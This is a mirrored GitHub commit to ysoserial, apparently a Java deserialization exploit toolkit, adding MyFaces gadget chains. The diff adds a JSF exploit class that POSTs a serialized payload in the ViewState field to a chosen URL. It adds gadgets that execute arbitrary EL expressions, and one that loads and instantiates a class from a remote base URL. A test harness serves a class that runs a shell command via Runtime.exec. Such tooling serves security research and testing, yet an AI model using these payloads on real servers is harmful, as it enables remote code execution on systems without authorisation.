mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
Add MyFaces gadgets.
Add ability to provide a custom deserializer (needed for setting up the faces context)
This commit is contained in:
@@ -75,12 +75,12 @@
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.nanohttpd</groupId>
|
||||
<artifactId>nanohttpd</artifactId>
|
||||
<version>2.2.0</version>
|
||||
<scope>test</scope>
|
||||
<groupId>org.nanohttpd</groupId>
|
||||
<artifactId>nanohttpd</artifactId>
|
||||
<version>2.2.0</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
|
||||
|
||||
|
||||
<!-- non-gadget dependencies -->
|
||||
|
||||
@@ -169,6 +169,16 @@
|
||||
<artifactId>c3p0</artifactId>
|
||||
<version>0.9.5.2</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>javax.servlet</groupId>
|
||||
<artifactId>javax.servlet-api</artifactId>
|
||||
<version>3.1.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.myfaces.core</groupId>
|
||||
<artifactId>myfaces-impl</artifactId>
|
||||
<version>2.2.9</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<profiles>
|
||||
@@ -203,5 +213,45 @@
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</profile>
|
||||
|
||||
<profile>
|
||||
<id>apache-el</id>
|
||||
<activation>
|
||||
<activeByDefault>true</activeByDefault>
|
||||
<property>
|
||||
<name>el</name>
|
||||
<value>apache</value>
|
||||
</property>
|
||||
</activation>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.mortbay.jasper</groupId>
|
||||
<artifactId>apache-el</artifactId>
|
||||
<version>8.0.27</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</profile>
|
||||
|
||||
<profile>
|
||||
<id>juel</id>
|
||||
<activation>
|
||||
<property>
|
||||
<name>el</name>
|
||||
<value>juel</value>
|
||||
</property>
|
||||
</activation>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>de.odysseus.juel</groupId>
|
||||
<artifactId>juel-impl</artifactId>
|
||||
<version>2.2.7</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>de.odysseus.juel</groupId>
|
||||
<artifactId>juel-api</artifactId>
|
||||
<version>2.2.7</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</profile>
|
||||
</profiles>
|
||||
</project>
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
package ysoserial.exploit;
|
||||
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.net.URLEncoder;
|
||||
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public class JSF {
|
||||
|
||||
/**
|
||||
* @param args
|
||||
*/
|
||||
public static void main ( String[] args ) {
|
||||
|
||||
if ( args.length < 3 ) {
|
||||
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
|
||||
|
||||
try {
|
||||
URL u = new URL(args[ 0 ]);
|
||||
|
||||
URLConnection c = u.openConnection();
|
||||
if ( ! ( c instanceof HttpURLConnection ) ) {
|
||||
throw new IllegalArgumentException("Not a HTTP url"); //$NON-NLS-1$
|
||||
}
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) c;
|
||||
hc.setDoOutput(true);
|
||||
hc.setRequestMethod("POST");
|
||||
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
|
||||
OutputStream os = hc.getOutputStream();
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(bos);
|
||||
oos.writeObject(payloadObject);
|
||||
oos.close();
|
||||
byte[] data = bos.toByteArray();
|
||||
String requestBody = "j_id_7_SUBMIT=1&javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
|
||||
os.write(requestBody.getBytes("US-ASCII"));
|
||||
os.close();
|
||||
|
||||
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
|
||||
import javax.el.ELContext;
|
||||
import javax.el.ExpressionFactory;
|
||||
import javax.el.ValueExpression;
|
||||
import javax.servlet.ServletContext;
|
||||
import javax.servlet.ServletRequest;
|
||||
import javax.servlet.ServletResponse;
|
||||
|
||||
import org.apache.myfaces.context.servlet.FacesContextImpl;
|
||||
import org.apache.myfaces.context.servlet.FacesContextImplBase;
|
||||
import org.apache.myfaces.el.CompositeELResolver;
|
||||
import org.apache.myfaces.el.unified.FacesELContext;
|
||||
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
|
||||
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
* ValueExpressionImpl.getValue(ELContext)
|
||||
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
|
||||
* ValueExpressionMethodExpression.getMethodExpression()
|
||||
* ValueExpressionMethodExpression.hashCode()
|
||||
* HashMap<K,V>.hash(Object)
|
||||
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||
*
|
||||
* Arguments:
|
||||
* - an EL expression to execute
|
||||
*
|
||||
* Requires:
|
||||
* - MyFaces
|
||||
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"nls", "javadoc"
|
||||
} )
|
||||
@PayloadTest(skip="Requires running MyFaces, no direct execution")
|
||||
public class Myfaces1 implements ObjectPayload<Object> {
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
|
||||
*/
|
||||
|
||||
public Object getObject ( String command ) throws Exception {
|
||||
return makeExpressionPayload(command);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param expr
|
||||
* @return
|
||||
* @throws NoSuchFieldException
|
||||
* @throws IllegalAccessException
|
||||
* @throws Exception
|
||||
* @throws ClassNotFoundException
|
||||
* @throws NoSuchMethodException
|
||||
* @throws InstantiationException
|
||||
* @throws InvocationTargetException
|
||||
*/
|
||||
public static Object makeExpressionPayload ( String expr ) throws NoSuchFieldException, IllegalAccessException, Exception, ClassNotFoundException,
|
||||
NoSuchMethodException, InstantiationException, InvocationTargetException {
|
||||
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
|
||||
Field fEl = FacesContextImplBase.class.getDeclaredField("_elContext");
|
||||
fEl.setAccessible(true);
|
||||
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
||||
fEl.set(fc, elContext);
|
||||
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
||||
|
||||
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
|
||||
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
|
||||
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); //$NON-NLS-1$
|
||||
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
|
||||
|
||||
return Gadgets.makeMap(e2, e);
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(Myfaces1.class, args);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
* ValueExpressionImpl.getValue(ELContext)
|
||||
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
|
||||
* ValueExpressionMethodExpression.getMethodExpression()
|
||||
* ValueExpressionMethodExpression.hashCode()
|
||||
* HashMap<K,V>.hash(Object)
|
||||
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||
*
|
||||
* Arguments:
|
||||
* - base_url:classname
|
||||
*
|
||||
* Yields:
|
||||
* - Instantiation of remotely loaded class
|
||||
*
|
||||
* Requires:
|
||||
* - MyFaces
|
||||
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
|
||||
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
public static String[] getDependencies () {
|
||||
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
|
||||
return new String[] {
|
||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||
"org.mortbay.jasper:apache-el:8.0.27",
|
||||
"javax.servlet:javax.servlet-api:3.1.0",
|
||||
|
||||
// deps for mocking the FacesContext
|
||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||
};
|
||||
} else if ( "juel".equals(System.getProperty("el")) ) {
|
||||
return new String[] {
|
||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
||||
"javax.servlet:javax.servlet-api:3.1.0",
|
||||
|
||||
// deps for mocking the FacesContext
|
||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||
};
|
||||
}
|
||||
|
||||
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
|
||||
*/
|
||||
|
||||
public Object getObject ( String command ) throws Exception {
|
||||
int sep = command.lastIndexOf(':');
|
||||
if ( sep < 0 ) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
|
||||
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
|
||||
|
||||
// if we add fewer than the actual classloaders we end up with a null entry
|
||||
for ( int i = 0; i < 100; i++ ) {
|
||||
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
|
||||
}
|
||||
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
|
||||
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
|
||||
|
||||
return Myfaces1.makeExpressionPayload(expr);
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(Myfaces2.class, args);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package ysoserial;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public interface CustomDeserializer {
|
||||
|
||||
|
||||
Class<?> getCustomDeserializer ();
|
||||
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.beans.FeatureDescriptor;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.util.HashMap;
|
||||
import java.util.Iterator;
|
||||
import java.util.Map;
|
||||
|
||||
import javax.el.BeanELResolver;
|
||||
import javax.el.ELContext;
|
||||
import javax.el.ELResolver;
|
||||
import javax.el.MapELResolver;
|
||||
import javax.faces.context.FacesContext;
|
||||
import javax.servlet.ServletContext;
|
||||
import javax.servlet.ServletRequest;
|
||||
|
||||
import org.apache.myfaces.el.CompositeELResolver;
|
||||
import org.apache.myfaces.el.unified.FacesELContext;
|
||||
import org.mockito.Matchers;
|
||||
import org.mockito.Mockito;
|
||||
import org.mockito.invocation.InvocationOnMock;
|
||||
import org.mockito.stubbing.Answer;
|
||||
|
||||
import ysoserial.CustomDeserializer;
|
||||
import ysoserial.Deserializer;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
|
||||
|
||||
/**
|
||||
* @param command
|
||||
*/
|
||||
public MyfacesTest ( String command ) {
|
||||
super(command);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see ysoserial.CustomDeserializer#getCustomDeserializer()
|
||||
*/
|
||||
public Class<?> getCustomDeserializer () {
|
||||
return MyfacesDeserializer.class;
|
||||
}
|
||||
|
||||
/**
|
||||
* need to use a custom deserializer so that the faces context gets set in the isolated class
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public static final class MyfacesDeserializer extends Deserializer {
|
||||
|
||||
public static Class<?>[] getExtraDependencies () {
|
||||
return new Class[] {
|
||||
MockRequestContext.class, MockELResolver.class
|
||||
};
|
||||
}
|
||||
|
||||
private static class MockRequestContext implements Answer<Object> {
|
||||
|
||||
private Map<String, Object> attributes = new HashMap<String, Object>();
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see org.mockito.stubbing.Answer#answer(org.mockito.invocation.InvocationOnMock)
|
||||
*/
|
||||
public Object answer ( InvocationOnMock invocation ) throws Throwable {
|
||||
|
||||
if ( "setAttribute".equals(invocation.getMethod().getName()) ) {
|
||||
this.attributes.put(invocation.getArgumentAt(0, String.class), invocation.getArgumentAt(1, Object.class));
|
||||
return null;
|
||||
}
|
||||
else if ( "getAttribute".equals(invocation.getMethod().getName()) ) {
|
||||
return this.attributes.get(invocation.getArgumentAt(0, String.class));
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
private static class MockELResolver extends ELResolver {
|
||||
|
||||
private ServletRequest request;
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
public MockELResolver (ServletRequest req) {
|
||||
this.request = req;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see javax.el.ELResolver#getValue(javax.el.ELContext, java.lang.Object, java.lang.Object)
|
||||
*/
|
||||
@Override
|
||||
public Object getValue ( ELContext context, Object base, Object property ) {
|
||||
if ( base == null && "request".equals(property)) {
|
||||
context.setPropertyResolved(true);
|
||||
return this.request;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see javax.el.ELResolver#getType(javax.el.ELContext, java.lang.Object, java.lang.Object)
|
||||
*/
|
||||
@Override
|
||||
public Class<?> getType ( ELContext context, Object base, Object property ) {
|
||||
if ( base == null && "request".equals(property)) {
|
||||
context.setPropertyResolved(true);
|
||||
return ServletRequest.class;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see javax.el.ELResolver#setValue(javax.el.ELContext, java.lang.Object, java.lang.Object, java.lang.Object)
|
||||
*/
|
||||
@Override
|
||||
public void setValue ( ELContext context, Object base, Object property, Object value ) {
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see javax.el.ELResolver#isReadOnly(javax.el.ELContext, java.lang.Object, java.lang.Object)
|
||||
*/
|
||||
@Override
|
||||
public boolean isReadOnly ( ELContext context, Object base, Object property ) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see javax.el.ELResolver#getFeatureDescriptors(javax.el.ELContext, java.lang.Object)
|
||||
*/
|
||||
@Override
|
||||
public Iterator<FeatureDescriptor> getFeatureDescriptors ( ELContext context, Object base ) {
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see javax.el.ELResolver#getCommonPropertyType(javax.el.ELContext, java.lang.Object)
|
||||
*/
|
||||
@Override
|
||||
public Class<?> getCommonPropertyType ( ELContext context, Object base ) {
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* @param bytes
|
||||
*/
|
||||
public MyfacesDeserializer ( byte[] bytes ) {
|
||||
super(bytes);
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public Object call () throws Exception {
|
||||
java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
|
||||
setFC.setAccessible(true);
|
||||
ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
|
||||
Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
|
||||
FacesContext ctx = createMockFacesContext();
|
||||
try {
|
||||
setFC.invoke(null, ctx);
|
||||
return super.call();
|
||||
}
|
||||
finally {
|
||||
setFC.invoke(null, (FacesContext) null);
|
||||
Thread.currentThread().setContextClassLoader(oldTCCL);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @return
|
||||
* @throws MalformedURLException
|
||||
*/
|
||||
private static FacesContext createMockFacesContext () throws MalformedURLException {
|
||||
FacesContext ctx = Mockito.mock(FacesContext.class);
|
||||
CompositeELResolver cer = new CompositeELResolver();
|
||||
FacesELContext elc = new FacesELContext(cer, ctx);
|
||||
ServletRequest requestMock = Mockito.mock(ServletRequest.class);
|
||||
ServletContext contextMock = Mockito.mock(ServletContext.class);
|
||||
URL url = new URL("file:///");
|
||||
Mockito.when(contextMock.getResource(Matchers.anyString())).thenReturn(url);
|
||||
Mockito.when(requestMock.getServletContext()).thenReturn(contextMock);
|
||||
Answer<?> attrContext = new MockRequestContext();
|
||||
Mockito.when(requestMock.getAttribute(Matchers.anyString())).thenAnswer(attrContext);
|
||||
Mockito.doAnswer(attrContext).when(requestMock).setAttribute(Matchers.anyString(), Matchers.any());
|
||||
cer.add(new MockELResolver(requestMock));
|
||||
cer.add(new BeanELResolver());
|
||||
cer.add(new MapELResolver());
|
||||
Mockito.when(ctx.getELContext()).thenReturn(elc);
|
||||
return ctx;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -23,6 +23,7 @@ import org.junit.runner.RunWith;
|
||||
import org.junit.runners.Parameterized;
|
||||
import org.junit.runners.Parameterized.Parameters;
|
||||
|
||||
import ysoserial.CustomDeserializer;
|
||||
import ysoserial.CustomPayloadArgs;
|
||||
import ysoserial.CustomTest;
|
||||
import ysoserial.Deserializer;
|
||||
@@ -93,6 +94,7 @@ public class PayloadsTest {
|
||||
}
|
||||
|
||||
String payloadCommand = command;
|
||||
Class<?> customDeserializer = null;
|
||||
Object wrapper = null;
|
||||
if ( t != null && !t.harness().isEmpty() ) {
|
||||
Class<?> wrapperClass = Class.forName(t.harness());
|
||||
@@ -105,11 +107,15 @@ public class PayloadsTest {
|
||||
if ( wrapper instanceof CustomPayloadArgs ) {
|
||||
payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs();
|
||||
}
|
||||
|
||||
if ( wrapper instanceof CustomDeserializer ) {
|
||||
customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer();
|
||||
}
|
||||
}
|
||||
|
||||
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
||||
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand));
|
||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
|
||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
|
||||
if ( wrapper instanceof WrappedTest ) {
|
||||
callable = ( (WrappedTest) wrapper ).createCallable(callable);
|
||||
}
|
||||
@@ -162,11 +168,11 @@ public class PayloadsTest {
|
||||
* @return
|
||||
*/
|
||||
private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
|
||||
final byte[] serialized ) {
|
||||
final byte[] serialized, final Class<?> customDeserializer ) {
|
||||
return new Callable<Object>() {
|
||||
|
||||
public Object call () throws Exception {
|
||||
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
|
||||
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader, customDeserializer);
|
||||
}
|
||||
};
|
||||
}
|
||||
@@ -205,7 +211,7 @@ public class PayloadsTest {
|
||||
}
|
||||
|
||||
|
||||
private static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies )
|
||||
static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer )
|
||||
throws Exception {
|
||||
File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
|
||||
URL[] urls = new URL[jars.length];
|
||||
@@ -220,13 +226,27 @@ public class PayloadsTest {
|
||||
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
|
||||
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
|
||||
}
|
||||
byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class);
|
||||
defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
|
||||
|
||||
byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class);
|
||||
defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
|
||||
|
||||
if ( customDeserializer != null ) {
|
||||
|
||||
try {
|
||||
Method method = customDeserializer.getMethod("getExtraDependencies");
|
||||
for ( Class extra : (Class[])method.invoke(null)) {
|
||||
deserializerClassBytes = ClassFiles.classAsBytes(extra);
|
||||
defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
|
||||
}
|
||||
} catch ( NoSuchMethodException e ) { }
|
||||
|
||||
deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer);
|
||||
defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
|
||||
}
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
Class<?> deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName());
|
||||
Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
|
||||
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);
|
||||
final Object obj = deserializer.call();
|
||||
return obj;
|
||||
|
||||
@@ -20,9 +20,9 @@ import ysoserial.WrappedTest;
|
||||
*/
|
||||
public class RemoteClassLoadingTest implements WrappedTest {
|
||||
|
||||
private int port;
|
||||
int port;
|
||||
private String command;
|
||||
|
||||
private String className;
|
||||
|
||||
/**
|
||||
*
|
||||
@@ -30,6 +30,7 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
||||
public RemoteClassLoadingTest ( String command ) {
|
||||
this.command = command;
|
||||
this.port = new Random().nextInt(65535-1024)+1024;
|
||||
this.className = "Exploit-" + System.currentTimeMillis();
|
||||
}
|
||||
|
||||
|
||||
@@ -39,7 +40,7 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
||||
* @see ysoserial.WrappedTest#getPayloadArgs()
|
||||
*/
|
||||
public String getPayloadArgs () {
|
||||
return String.format("http://localhost:%d/", this.port) + ":Exploit";
|
||||
return String.format("http://localhost:%d/", this.port) + ":" + this.className;
|
||||
}
|
||||
|
||||
|
||||
@@ -53,12 +54,12 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
||||
}
|
||||
|
||||
|
||||
private byte[] makePayloadClass () {
|
||||
protected byte[] makePayloadClass () {
|
||||
try {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Exploit.class));
|
||||
final CtClass clazz = pool.get(Exploit.class.getName());
|
||||
clazz.setName("Exploit");
|
||||
clazz.setName(this.className);
|
||||
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
|
||||
return clazz.toBytecode();
|
||||
}
|
||||
@@ -68,7 +69,7 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
||||
}
|
||||
}
|
||||
|
||||
static final class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable<Object> {
|
||||
static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable<Object> {
|
||||
|
||||
private Callable<Object> innerCallable;
|
||||
private byte[] data;
|
||||
@@ -131,7 +132,7 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
||||
|
||||
}
|
||||
|
||||
private static class Exploit {
|
||||
public static class Exploit {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user